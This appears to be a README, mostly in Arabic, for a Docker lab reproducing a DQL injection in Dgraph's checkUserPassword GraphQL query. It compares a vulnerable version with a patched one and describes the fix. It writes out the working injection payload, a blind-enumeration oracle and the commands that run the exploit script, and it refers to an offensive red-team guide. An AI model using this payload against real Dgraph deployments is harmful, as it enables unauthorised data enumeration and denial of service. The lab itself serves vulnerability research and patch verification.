
مختبر Docker يعيد إنتاج CVE-2026-44840، وهو حقن DQL في استعلام checkUserPassword GraphQL الخاص بـ Dgraph، مع نص استغلال ومقارنة بين النسخة المصابة والنسخة المُرقّعة.
checkUserPassword (GraphQL)مختبر Docker يعيد إنتاج حقن حقيقي في Dgraph:
dgraph/dgraph:v25.3.3dgraph/dgraph:v25.3.4ثغرة CVE حقيقية لعام 2026 · CVSS 3.1 7.5 (High) ·
CWE-943(Improper Neutralization in Data Query Logic) · منسوبة إلى Kai Aizen (GHSA-q2m9-6jp9-c6mc،GO-2026-5837). فقط لبيئة مختبر معزولة ومصرح بها.
checkUserPassword هي استعلام GraphQL الذي يولّده Dgraph تلقائيًا في المخطط للأنواع
التي تحمل التوجيه . في
(≤ v25.3.3) كانت كلمة المرور تُدمج باستخدام :
@secret(field: "password")graphql/resolve/query_rewriter.gofmt.SprintfpwdVar := fmt.Sprintf(`checkpwd(%s, "%s")`, predicate, password) // VULNERABLE
كلمة مرور المهاجم تُدرج حرفيًا داخل DQL:
pwd as checkpwd(User.password, "<password del atacante>")
الإصلاح (v25.3.4، commit cee702c) يمرّر القيمة كمعامل:
pwdVar = "$pwd0" // FIX
// executa con &dgoapi.Request{Query: qry, Vars: map[string]string{"$pwd0": password}, ...}
يشغّل مجموعتين من Dgraph (zero+alpha): v25.3.3 و v25.3.4.
يرفع المخطط type User @secret(field: "password") وينشئ admin و alice و bob.
يرسل إلى checkUserPassword كلمة مرور تخرج من النص الحرفي لـ DQL وتضيف كتلة
استعلام عشوائية:
x")
}
injected(func: has(User.name)) {
User.name
User.email
uid
}
#
في v25.3.3 تُحلَّل الكتلة injected { ... } وتُنفَّذ من جهة الخادم.
| الاختبار | v25.3.3 (قابل للاستغلال) | v25.3.4 (مُرقَّع) |
|---|---|---|
| تسجيل الدخول بكلمة مرور صحيحة | OK (touched_uids 7) | OK (touched_uids 7) |
| تسجيل الدخول بكلمة مرور خاطئة | null (5) | null (5) |
كلمة مرور محقونة )} injected{...} # | تُنفَّذ: touched_uids 14 | مُبطَّلة: 5 |
أوراكل: eq(User.name,"bob") محقون | touched_uids 7 (موجود) | 5 |
أوراكل: eq(User.name,"nobody") محقون | 5 (غير موجود) | 5 |
سجل dgraph alpha | يُظهر DQL مع الكتلة injected | DQL مُمرَّر كمعامل، بدون كتلة |
تأثير CVE: تنفيذ DQL عشوائي من جهة الخادم → تعداد أعمى للبيانات
(عبر touched_uids/timing)، واكتشاف المخطط (has()، eq()) وDoS عبر استهلاك
الموارد بحقن اجتيازات مكلفة (expand(_all_)، recursiones).
# 1) levantar todo, preparar esquema/usuarios y ejecutar el exploit
bash run.sh
# 2) solo el exploit (si el lab ya esta preparado)
python3 exploit/exploit.py
# 3) montar el entorno desde cero (pod / volcado)
docker compose up -d
python3 setup/setup.py --alpha http://localhost:8180
python3 setup/setup.py --alpha http://localhost:8280
# 4) limpiar
docker compose down # conserva los volumenes
docker compose down -v # borra los volumenes (datos de dgraph)
| الخدمة | HTTP GraphQL | HTTP admin | gRPC alpha |
|---|---|---|---|
| alpha v25.3.3 | http://localhost:8180/graphql | http://localhost:8180/admin | 9180 |
| alpha v25.3.4 | http://localhost:8280/graphql | http://localhost:8280/admin | 9280 |
CVE-2026-44840-poc/
├── docker-compose.yml # 2 clusters: zero+alpha v25.3.3 / v25.3.4
├── schema.graphql # type User @secret(field:"password")
├── run.sh # orquestador completo
├── REDTEAM.md # guía red team: recon + explotación paso a paso + OPSEC
├── setup/setup.py # esquema + usuarios
└── exploit/exploit.py # inyeccion DQL e oraculo
دليل عملياتي هجومي (الاستطلاع، الاستغلال خطوة بخطوة، الحمولات، الأدلة
و OPSEC): REDTEAM.md.
كلمة المرور تُرسَل كمتغير GraphQL؛ القيمة التي تصل إلى الـ rewriter لا تُهرَّب وتُدرج
داخل checkpwd(User.password, "..."). الحمولة:
x") # cierra el literal de checkpwd y la funcion
} # cierra el bloque checkPwd
injected(...) # nuevo bloque root del atacante
{ ... }
# # comenta el resto del template: ")
الـ # يمنع لاحقة القالب (علامة " لإغلاق checkpwd) من إفساد التحليل.
dgraph v25.3.4+.vars من dgoapi.Request)، ولا
تُدرج المدخلات أبدًا باستخدام fmt.Sprintf.